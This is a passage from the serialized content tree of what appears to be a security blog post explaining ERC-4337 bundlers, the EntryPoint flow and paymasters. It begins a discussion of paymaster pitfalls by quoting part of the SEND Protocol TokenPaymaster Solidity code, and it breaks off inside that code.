",{"type":20,"tag":119,"props":100510,"children":100512},{"className":100511},[],[100513],{"type":26,"value":100469},{"type":26,"value":100515},", packages them, and submits them in a single transaction to the ",{"type":20,"tag":119,"props":100517,"children":100519},{"className":100518},[],[100520],{"type":26,"value":100521},"EntryPoint",{"type":26,"value":100523}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":20,"tag":219,"props":100525,"children":100526},{"id":13124},[100527],{"type":20,"tag":119,"props":100528,"children":100530},{"className":100529},[],[100531],{"type":26,"value":100521},{"type":20,"tag":29,"props":100533,"children":100534},{},[100535,100536,100541,100543,100548,100550,100554,100556,100561],{"type":26,"value":15015},{"type":20,"tag":119,"props":100537,"children":100539},{"className":100538},[],[100540],{"type":26,"value":100521},{"type":26,"value":100542}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":20,"tag":119,"props":100544,"children":100546},{"className":100545},[],[100547],{"type":26,"value":100469},{"type":26,"value":100549}," submitted by a ",{"type":20,"tag":3717,"props":100551,"children":100552},{},[100553],{"type":26,"value":100503},{"type":26,"value":100555},", the ",{"type":20,"tag":119,"props":100557,"children":100559},{"className":100558},[],[100560],{"type":26,"value":100521},{"type":26,"value":100562}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":20,"tag":29,"props":100564,"children":100565},{},[100566,100568,100573,100575,100579,100581,100586,100588,100594],{"type":26,"value":100567},"Once all operations have been processed, the ",{"type":20,"tag":119,"props":100569,"children":100571},{"className":100570},[],[100572],{"type":26,"value":100521},{"type":26,"value":100574}," calculates the total gas consumed and reimburses the ",{"type":20,"tag":3717,"props":100576,"children":100577},{},[100578],{"type":26,"value":100503},{"type":26,"value":100580},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":20,"tag":119,"props":100582,"children":100584},{"className":100583},[],[100585],{"type":26,"value":100521},{"type":26,"value":100587}," or from a ",{"type":20,"tag":119,"props":100589,"children":100591},{"className":100590},[],[100592],{"type":26,"value":100593},"paymaster",{"type":26,"value":100595}," that has agreed to sponsor the transaction.",{"type":20,"tag":219,"props":100597,"children":100598},{"id":100593},[100599],{"type":20,"tag":119,"props":100600,"children":100602},{"className":100601},[],[100603],{"type":26,"value":100604},"Paymaster",{"type":20,"tag":29,"props":100606,"children":100607},{},[100608,100610,100615],{"type":26,"value":100609},"A ",{"type":20,"tag":119,"props":100611,"children":100613},{"className":100612},[],[100614],{"type":26,"value":100593},{"type":26,"value":100616}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":20,"tag":15089,"props":100618,"children":100619},{},[100620,100631],{"type":20,"tag":72,"props":100621,"children":100622},{},[100623,100629],{"type":20,"tag":119,"props":100624,"children":100626},{"className":100625},[],[100627],{"type":26,"value":100628},"validatePaymasterUserOp()",{"type":26,"value":100630}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":20,"tag":72,"props":100632,"children":100633},{},[100634,100640],{"type":20,"tag":119,"props":100635,"children":100637},{"className":100636},[],[100638],{"type":26,"value":100639},"postOp()",{"type":26,"value":100641},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":20,"tag":29,"props":100643,"children":100644},{},[100645,100647,100652],{"type":26,"value":100646},"By supporting both sponsorship and token-based gas payments, ",{"type":20,"tag":119,"props":100648,"children":100650},{"className":100649},[],[100651],{"type":26,"value":100593},{"type":26,"value":100653}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":20,"tag":21,"props":100655,"children":100657},{"id":100656},"understanding-the-entrypoints-flow",[100658,100660,100665],{"type":26,"value":100659},"Understanding the ",{"type":20,"tag":119,"props":100661,"children":100663},{"className":100662},[],[100664],{"type":26,"value":100521},{"type":26,"value":100666},"'s Flow",{"type":20,"tag":29,"props":100668,"children":100669},{},[100670,100672,100677,100678,100683,100685,100696,100698,100703,100704,100709],{"type":26,"value":100671},"When a bundler submits ",{"type":20,"tag":119,"props":100673,"children":100675},{"className":100674},[],[100676],{"type":26,"value":100469},{"type":26,"value":14813},{"type":20,"tag":119,"props":100679,"children":100681},{"className":100680},[],[100682],{"type":26,"value":100521},{"type":26,"value":100684}," contract via ",{"type":20,"tag":35,"props":100686,"children":100689},{"href":100687,"rel":100688},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[39],[100690],{"type":20,"tag":119,"props":100691,"children":100693},{"className":100692},[],[100694],{"type":26,"value":100695},"handleOps()",{"type":26,"value":100697},", the processing occurs in two main phases: ",{"type":20,"tag":3717,"props":100699,"children":100700},{},[100701],{"type":26,"value":100702},"Validation",{"type":26,"value":9392},{"type":20,"tag":3717,"props":100705,"children":100706},{},[100707],{"type":26,"value":100708},"Execution",{"type":26,"value":61},{"type":20,"tag":219,"props":100711,"children":100713},{"id":100712},"validation-phase",[100714],{"type":26,"value":100715},"Validation Phase",{"type":20,"tag":29,"props":100717,"children":100718},{},[100719,100721,100726,100728,100734,100736,100742,100743,100748],{"type":26,"value":100720},"In this phase, the ",{"type":20,"tag":119,"props":100722,"children":100724},{"className":100723},[],[100725],{"type":26,"value":100521},{"type":26,"value":100727}," first validates all operations in the submitted ",{"type":20,"tag":119,"props":100729,"children":100731},{"className":100730},[],[100732],{"type":26,"value":100733},"UserOps",{"type":26,"value":100735}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":20,"tag":119,"props":100737,"children":100739},{"className":100738},[],[100740],{"type":26,"value":100741},"UserOp",{"type":26,"value":100555},{"type":20,"tag":119,"props":100744,"children":100746},{"className":100745},[],[100747],{"type":26,"value":100521},{"type":26,"value":2884},{"type":20,"tag":68,"props":100750,"children":100751},{},[100752,100770,100788,100809,100821],{"type":20,"tag":72,"props":100753,"children":100754},{},[100755,100762,100764],{"type":20,"tag":35,"props":100756,"children":100759},{"href":100757,"rel":100758},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[39],[100760],{"type":26,"value":100761},"Calculates",{"type":26,"value":100763}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":20,"tag":119,"props":100765,"children":100767},{"className":100766},[],[100768],{"type":26,"value":100769},"maxFeePerGas",{"type":20,"tag":72,"props":100771,"children":100772},{},[100773,100780,100781,100786],{"type":20,"tag":35,"props":100774,"children":100777},{"href":100775,"rel":100776},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[39],[100778],{"type":26,"value":100779},"Calls",{"type":26,"value":4852},{"type":20,"tag":119,"props":100782,"children":100784},{"className":100783},[],[100785],{"type":26,"value":100488},{"type":26,"value":100787}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":20,"tag":72,"props":100789,"children":100790},{},[100791,100793,100800,100802,100807],{"type":26,"value":100792},"If no paymaster is specified, attempts to ",{"type":20,"tag":35,"props":100794,"children":100797},{"href":100795,"rel":100796},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[39],[100798],{"type":26,"value":100799},"deduct",{"type":26,"value":100801}," the prefund amount from the sender's ETH deposit in the ",{"type":20,"tag":119,"props":100803,"children":100805},{"className":100804},[],[100806],{"type":26,"value":100521},{"type":26,"value":100808}," (this can be partially refunded later if actual execution costs less)",{"type":20,"tag":72,"props":100810,"children":100811},{},[100812,100819],{"type":20,"tag":35,"props":100813,"children":100816},{"href":100814,"rel":100815},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[39],[100817],{"type":26,"value":100818},"Validates",{"type":26,"value":100820}," the nonce to prevent replay attacks",{"type":20,"tag":72,"props":100822,"children":100823},{},[100824,100826,100832,100834,100840,100841,100846],{"type":26,"value":100825},"If a paymaster is specified, it will ",{"type":20,"tag":35,"props":100827,"children":100830},{"href":100828,"rel":100829},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[39],[100831],{"type":26,"value":100799},{"type":26,"value":100833}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":20,"tag":35,"props":100835,"children":100838},{"href":100836,"rel":100837},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[39],[100839],{"type":26,"value":36712},{"type":26,"value":4852},{"type":20,"tag":119,"props":100842,"children":100844},{"className":100843},[],[100845],{"type":26,"value":100628},{"type":26,"value":100847}," on the paymaster contract to verify it will cover gas costs",{"type":20,"tag":29,"props":100849,"children":100850},{},[100851,100853,100858,100860,100865],{"type":26,"value":100852},"Only after all these validation checks pass will the ",{"type":20,"tag":119,"props":100854,"children":100856},{"className":100855},[],[100857],{"type":26,"value":100521},{"type":26,"value":100859}," move on to actually executing the ",{"type":20,"tag":119,"props":100861,"children":100863},{"className":100862},[],[100864],{"type":26,"value":100440},{"type":26,"value":100866},". This strict validation flow ensures that:",{"type":20,"tag":15089,"props":100868,"children":100869},{},[100870,100875,100880,100885],{"type":20,"tag":72,"props":100871,"children":100872},{},[100873],{"type":26,"value":100874},"The operation is legitimate and authorized by the user",{"type":20,"tag":72,"props":100876,"children":100877},{},[100878],{"type":26,"value":100879},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":20,"tag":72,"props":100881,"children":100882},{},[100883],{"type":26,"value":100884},"The operation cannot be replayed",{"type":20,"tag":72,"props":100886,"children":100887},{},[100888],{"type":26,"value":100889},"All involved contracts (sender and paymaster) have approved the execution",{"type":20,"tag":29,"props":100891,"children":100892},{},[100893],{"type":26,"value":100894},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":20,"tag":219,"props":100896,"children":100898},{"id":100897},"execution-phase",[100899],{"type":26,"value":100900},"Execution Phase",{"type":20,"tag":29,"props":100902,"children":100903},{},[100904,100906,100911,100913,100920,100922,100927],{"type":26,"value":100905},"After all operations have passed validation, the ",{"type":20,"tag":119,"props":100907,"children":100909},{"className":100908},[],[100910],{"type":26,"value":100521},{"type":26,"value":100912}," begins the ",{"type":20,"tag":35,"props":100914,"children":100917},{"href":100915,"rel":100916},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[39],[100918],{"type":26,"value":100919},"execution",{"type":26,"value":100921}," phase, processing each ",{"type":20,"tag":119,"props":100923,"children":100925},{"className":100924},[],[100926],{"type":26,"value":100440},{"type":26,"value":100928}," individually. For each operation, the flow is:",{"type":20,"tag":68,"props":100930,"children":100931},{},[100932,100992,101038],{"type":20,"tag":72,"props":100933,"children":100934},{},[100935,100936,100941,100943,100949,100950,100956,100958],{"type":26,"value":15015},{"type":20,"tag":119,"props":100937,"children":100939},{"className":100938},[],[100940],{"type":26,"value":100521},{"type":26,"value":100942}," makes a ",{"type":20,"tag":35,"props":100944,"children":100947},{"href":100945,"rel":100946},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[39],[100948],{"type":26,"value":36712},{"type":26,"value":55029},{"type":20,"tag":119,"props":100951,"children":100953},{"className":100952},[],[100954],{"type":26,"value":100955},"innerHandleOp()",{"type":26,"value":100957},", which:\n",{"type":20,"tag":15089,"props":100959,"children":100960},{},[100961,100973,100978],{"type":20,"tag":72,"props":100962,"children":100963},{},[100964,100971],{"type":20,"tag":35,"props":100965,"children":100968},{"href":100966,"rel":100967},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[39],[100969],{"type":26,"value":100970},"Forwards",{"type":26,"value":100972}," the operation to the sender's smart account contract",{"type":20,"tag":72,"props":100974,"children":100975},{},[100976],{"type":26,"value":100977},"Executes the intended transaction(s) within the smart account",{"type":20,"tag":72,"props":100979,"children":100980},{},[100981,100983,100990],{"type":26,"value":100982},"Handles ",{"type":20,"tag":35,"props":100984,"children":100987},{"href":100985,"rel":100986},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[39],[100988],{"type":26,"value":100989},"post-execution",{"type":26,"value":100991}," tasks and cleanup",{"type":20,"tag":72,"props":100993,"children":100994},{},[100995,100997,101003,101005,101011,101012,101018,101020],{"type":26,"value":100996},"If a paymaster was used, ",{"type":20,"tag":119,"props":100998,"children":101000},{"className":100999},[],[101001],{"type":26,"value":101002},"Entrypoint",{"type":26,"value":101004}," will ",{"type":20,"tag":35,"props":101006,"children":101009},{"href":101007,"rel":101008},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[39],[101010],{"type":26,"value":36712},{"type":26,"value":4852},{"type":20,"tag":119,"props":101013,"children":101015},{"className":101014},[],[101016],{"type":26,"value":101017},"paymaster.postOp()",{"type":26,"value":101019}," to:\n",{"type":20,"tag":15089,"props":101021,"children":101022},{},[101023,101028,101033],{"type":20,"tag":72,"props":101024,"children":101025},{},[101026],{"type":26,"value":101027},"Allow paymaster to finalize its accounting",{"type":20,"tag":72,"props":101029,"children":101030},{},[101031],{"type":26,"value":101032},"Process any refunds or additional charges",{"type":20,"tag":72,"props":101034,"children":101035},{},[101036],{"type":26,"value":101037},"Complete any paymaster-specific logic",{"type":20,"tag":72,"props":101039,"children":101040},{},[101041,101043,101048,101049,101056,101058],{"type":26,"value":101042},"Finally, after all operations are processed, the ",{"type":20,"tag":119,"props":101044,"children":101046},{"className":101045},[],[101047],{"type":26,"value":100521},{"type":26,"value":4852},{"type":20,"tag":35,"props":101050,"children":101053},{"href":101051,"rel":101052},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[39],[101054],{"type":26,"value":101055},"compensates",{"type":26,"value":101057}," the bundler for:\n",{"type":20,"tag":15089,"props":101059,"children":101060},{},[101061,101066,101071],{"type":20,"tag":72,"props":101062,"children":101063},{},[101064],{"type":26,"value":101065},"Gas costs from executing all operations",{"type":20,"tag":72,"props":101067,"children":101068},{},[101069],{"type":26,"value":101070},"Overhead from submitting the batch transaction",{"type":20,"tag":72,"props":101072,"children":101073},{},[101074],{"type":26,"value":101075},"Any unused gas, which is refunded",{"type":20,"tag":29,"props":101077,"children":101078},{},[101079],{"type":26,"value":101080},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":20,"tag":29,"props":101082,"children":101083},{},[101084,101086,101091,101093,101099,101101,101106],{"type":26,"value":101085},"Now that we understand how the ",{"type":20,"tag":119,"props":101087,"children":101089},{"className":101088},[],[101090],{"type":26,"value":100521},{"type":26,"value":101092}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":20,"tag":119,"props":101094,"children":101096},{"className":101095},[],[101097],{"type":26,"value":101098},"paymasters",{"type":26,"value":101100}," that align with the ",{"type":20,"tag":119,"props":101102,"children":101104},{"className":101103},[],[101105],{"type":26,"value":100521},{"type":26,"value":101107},"'s execution model, leading to potential vulnerabilities.",{"type":20,"tag":33788,"props":101109,"children":101111},{"id":101110},"common-pitfalls-in-paymaster-implementation",[101112],{"type":26,"value":101113},"Common Pitfalls in Paymaster Implementation",{"type":20,"tag":29,"props":101115,"children":101116},{},[101117,101119,101124],{"type":26,"value":101118},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":20,"tag":119,"props":101120,"children":101122},{"className":101121},[],[101123],{"type":26,"value":100521},{"type":26,"value":101125}," to exploitation or griefing.",{"type":20,"tag":29,"props":101127,"children":101128},{},[101129,101131,101136],{"type":26,"value":101130},"In this section, we’ll walk through the ",{"type":20,"tag":3717,"props":101132,"children":101133},{},[101134],{"type":26,"value":101135},"two most common pitfalls",{"type":26,"value":101137}," we’ve observed in real-world paymaster implementations:",{"type":20,"tag":21,"props":101139,"children":101141},{"id":101140},"undercalculated-gas-costs",[101142],{"type":20,"tag":3717,"props":101143,"children":101144},{},[101145],{"type":26,"value":101146},"Undercalculated Gas Costs",{"type":20,"tag":29,"props":101148,"children":101149},{},[101150,101152,101157,101159,101164,101166,101171,101173,101180],{"type":26,"value":101151},"To understand this issue, let's first examine how gas penalties work in the ",{"type":20,"tag":119,"props":101153,"children":101155},{"className":101154},[],[101156],{"type":26,"value":100521},{"type":26,"value":101158},". When a ",{"type":20,"tag":119,"props":101160,"children":101162},{"className":101161},[],[101163],{"type":26,"value":100440},{"type":26,"value":101165}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":20,"tag":119,"props":101167,"children":101169},{"className":101168},[],[101170],{"type":26,"value":100521},{"type":26,"value":101172}," charges a ",{"type":20,"tag":35,"props":101174,"children":101177},{"href":101175,"rel":101176},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[39],[101178],{"type":26,"value":101179},"penalty of 10%",{"type":26,"value":101181}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":20,"tag":29,"props":101183,"children":101184},{},[101185],{"type":26,"value":101186},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":20,"tag":305,"props":101188,"children":101190},{"className":307,"code":101189,"language":309,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[101191],{"type":20,"tag":119,"props":101192,"children":101193},{"__ignoreMap":7},[101194,101238,101245,101302,101310,101318,101360,101367,101379,101401,101422,101452,101503,101533,101554,101592,101631,101648,101687,101711,101728,101771,101793,101810,101827,101834,101841,101867,101884,101919,101950,101962,102009,102016,102023,102030,102097,102104,102111,102118,102129,102148,102167,102231,102254,102287,102302,102337,102345,102384,102409,102430,102438,102465,102492,102500,102508,102550,102557,102564,102588,102604,102611,102618,102636,102649,102656,102664],{"type":20,"tag":315,"props":101195,"children":101196},{"class":317,"line":318},[101197,101201,101206,101211,101216,101220,101225,101229,101234],{"type":20,"tag":315,"props":101198,"children":101199},{"style":541},[101200],{"type":26,"value":88072},{"type":20,"tag":315,"props":101202,"children":101203},{"style":322},[101204],{"type":26,"value":101205}," TokenPaymaster",{"type":20,"tag":315,"props":101207,"children":101208},{"style":541},[101209],{"type":26,"value":101210}," is",{"type":20,"tag":315,"props":101212,"children":101213},{"style":322},[101214],{"type":26,"value":101215}," BasePaymaster",{"type":20,"tag":315,"props":101217,"children":101218},{"style":328},[101219],{"type":26,"value":44},{"type":20,"tag":315,"props":101221,"children":101222},{"style":322},[101223],{"type":26,"value":101224},"UniswapHelper",{"type":20,"tag":315,"props":101226,"children":101227},{"style":328},[101228],{"type":26,"value":44},{"type":20,"tag":315,"props":101230,"children":101231},{"style":322},[101232],{"type":26,"value":101233},"OracleHelper",{"type":20,"tag":315,"props":101235,"children":101236},{"style":328},[101237],{"type":26,"value":1092},{"type":20,"tag":315,"props":101239,"children":101240},{"class":317,"line":356},[101241],{"type":20,"tag":315,"props":101242,"children":101243},{"style":328},[101244],{"type":26,"value":8718},{"type":20,"tag":315,"props":101246,"children":101247},{"class":317,"line":365},[101248,101252,101257,101261,101266,101271,101276,101280,101285,101289,101293,101298],{"type":20,"tag":315,"props":101249,"children":101250},{"style":541},[101251],{"type":26,"value":88089},{"type":20,"tag":315,"props":101253,"children":101254},{"style":345},[101255],{"type":26,"value":101256}," _validatePaymasterUserOp",{"type":20,"tag":315,"props":101258,"children":101259},{"style":328},[101260],{"type":26,"value":1049},{"type":20,"tag":315,"props":101262,"children":101263},{"style":541},[101264],{"type":26,"value":101265},"PackedUserOperation",{"type":20,"tag":315,"props":101267,"children":101268},{"style":541},[101269],{"type":26,"value":101270}," calldata",{"type":20,"tag":315,"props":101272,"children":101273},{"style":635},[101274],{"type":26,"value":101275}," userOp",{"type":20,"tag":315,"props":101277,"children":101278},{"style":328},[101279],{"type":26,"value":44},{"type":20,"tag":315,"props":101281,"children":101282},{"style":322},[101283],{"type":26,"value":101284},"bytes32",{"type":20,"tag":315,"props":101286,"children":101287},{"style":328},[101288],{"type":26,"value":44},{"type":20,"tag":315,"props":101290,"children":101291},{"style":322},[101292],{"type":26,"value":325},{"type":20,"tag":315,"props":101294,"children":101295},{"style":635},[101296],{"type":26,"value":101297}," requiredPreFund",{"type":20,"tag":315,"props":101299,"children":101300},{"style":328},[101301],{"type":26,"value":380},{"type":20,"tag":315,"props":101303,"children":101304},{"class":317,"line":374},[101305],{"type":20,"tag":315,"props":101306,"children":101307},{"style":541},[101308],{"type":26,"value":101309}," internal\n",{"type":20,"tag":315,"props":101311,"children":101312},{"class":317,"line":383},[101313],{"type":20,"tag":315,"props":101314,"children":101315},{"style":541},[101316],{"type":26,"value":101317}," override\n",{"type":20,"tag":315,"props":101319,"children":101320},{"class":317,"line":407},[101321,101326,101330,101334,101339,101343,101347,101351,101356],{"type":20,"tag":315,"props":101322,"children":101323},{"style":525},[101324],{"type":26,"value":101325}," returns",{"type":20,"tag":315,"props":101327,"children":101328},{"style":328},[101329],{"type":26,"value":463},{"type":20,"tag":315,"props":101331,"children":101332},{"style":322},[101333],{"type":26,"value":82086},{"type":20,"tag":315,"props":101335,"children":101336},{"style":541},[101337],{"type":26,"value":101338}," memory",{"type":20,"tag":315,"props":101340,"children":101341},{"style":635},[101342],{"type":26,"value":74598},{"type":20,"tag":315,"props":101344,"children":101345},{"style":328},[101346],{"type":26,"value":44},{"type":20,"tag":315,"props":101348,"children":101349},{"style":322},[101350],{"type":26,"value":325},{"type":20,"tag":315,"props":101352,"children":101353},{"style":635},[101354],{"type":26,"value":101355}," validationResult",{"type":20,"tag":315,"props":101357,"children":101358},{"style":328},[101359],{"type":26,"value":380},{"type":20,"tag":315,"props":101361,"children":101362},{"class":317,"line":421},[101363],{"type":20,"tag":315,"props":101364,"children":101365},{"style":328},[101366],{"type":26,"value":27602},{"type":20,"tag":315,"props":101368,"children":101369},{"class":317,"line":430},[101370,101375],{"type":20,"tag":315,"props":101371,"children":101372},{"style":525},[101373],{"type":26,"value":101374}," unchecked",{"type":20,"tag":315,"props":101376,"children":101377},{"style":328},[101378],{"type":26,"value":1092},{"type":20,"tag":315,"props":101380,"children":101381},{"class":317,"line":453},[101382,101387,101392,101396],{"type":20,"tag":315,"props":101383,"children":101384},{"style":322},[101385],{"type":26,"value":101386}," uint256",{"type":20,"tag":315,"props":101388,"children":101389},{"style":328},[101390],{"type":26,"value":101391}," priceMarkup ",{"type":20,"tag":315,"props":101393,"children":101394},{"style":334},[101395],{"type":26,"value":337},{"type":20,"tag":315,"props":101397,"children":101398},{"style":328},[101399],{"type":26,"value":101400}," tokenPaymasterConfig.priceMarkup;\n",{"type":20,"tag":315,"props":101402,"children":101403},{"class":317,"line":486},[101404,101408,101413,101417],{"type":20,"tag":315,"props":101405,"children":101406},{"style":322},[101407],{"type":26,"value":101386},{"type":20,"tag":315,"props":101409,"children":101410},{"style":328},[101411],{"type":26,"value":101412}," baseFee ",{"type":20,"tag":315,"props":101414,"children":101415},{"style":334},[101416],{"type":26,"value":337},{"type":20,"tag":315,"props":101418,"children":101419},{"style":328},[101420],{"type":26,"value":101421}," tokenPaymasterConfig.baseFee;\n",{"type":20,"tag":315,"props":101423,"children":101424},{"class":317,"line":499},[101425,101429,101434,101438,101443,101447],{"type":20,"tag":315,"props":101426,"children":101427},{"style":322},[101428],{"type":26,"value":101386},{"type":20,"tag":315,"props":101430,"children":101431},{"style":328},[101432],{"type":26,"value":101433}," dataLength ",{"type":20,"tag":315,"props":101435,"children":101436},{"style":334},[101437],{"type":26,"value":337},{"type":20,"tag":315,"props":101439,"children":101440},{"style":328},[101441],{"type":26,"value":101442}," userOp.paymasterAndData.length ",{"type":20,"tag":315,"props":101444,"children":101445},{"style":334},[101446],{"type":26,"value":478},{"type":20,"tag":315,"props":101448,"children":101449},{"style":328},[101450],{"type":26,"value":101451}," PAYMASTER_DATA_OFFSET;\n",{"type":20,"tag":315,"props":101453,"children":101454},{"class":317,"line":513},[101455,101460,101465,101469,101473,101477,101481,101485,101490,101494,101499],{"type":20,"tag":315,"props":101456,"children":101457},{"style":525},[101458],{"type":26,"value":101459}," require",{"type":20,"tag":315,"props":101461,"children":101462},{"style":328},[101463],{"type":26,"value":101464},"(dataLength ",{"type":20,"tag":315,"props":101466,"children":101467},{"style":334},[101468],{"type":26,"value":538},{"type":20,"tag":315,"props":101470,"children":101471},{"style":765},[101472],{"type":26,"value":985},{"type":20,"tag":315,"props":101474,"children":101475},{"style":334},[101476],{"type":26,"value":22113},{"type":20,"tag":315,"props":101478,"children":101479},{"style":328},[101480],{"type":26,"value":101433},{"type":20,"tag":315,"props":101482,"children":101483},{"style":334},[101484],{"type":26,"value":538},{"type":20,"tag":315,"props":101486,"children":101487},{"style":765},[101488],{"type":26,"value":101489}," 32",{"type":20,"tag":315,"props":101491,"children":101492},{"style":328},[101493],{"type":26,"value":44},{"type":20,"tag":315,"props":101495,"children":101496},{"style":2652},[101497],{"type":26,"value":101498},"\"TPM: invalid data length\"",{"type":20,"tag":315,"props":101500,"children":101501},{"style":328},[101502],{"type":26,"value":2214},{"type":20,"tag":315,"props":101504,"children":101505},{"class":317,"line":521},[101506,101510,101515,101519,101524,101529],{"type":20,"tag":315,"props":101507,"children":101508},{"style":322},[101509],{"type":26,"value":101386},{"type":20,"tag":315,"props":101511,"children":101512},{"style":328},[101513],{"type":26,"value":101514}," maxFeePerGas ",{"type":20,"tag":315,"props":101516,"children":101517},{"style":334},[101518],{"type":26,"value":337},{"type":20,"tag":315,"props":101520,"children":101521},{"style":328},[101522],{"type":26,"value":101523}," userOp.",{"type":20,"tag":315,"props":101525,"children":101526},{"style":345},[101527],{"type":26,"value":101528},"unpackMaxFeePerGas",{"type":20,"tag":315,"props":101530,"children":101531},{"style":328},[101532],{"type":26,"value":568},{"type":20,"tag":315,"props":101534,"children":101535},{"class":317,"line":552},[101536,101540,101545,101549],{"type":20,"tag":315,"props":101537,"children":101538},{"style":322},[101539],{"type":26,"value":101386},{"type":20,"tag":315,"props":101541,"children":101542},{"style":328},[101543],{"type":26,"value":101544}," refundPostopCost 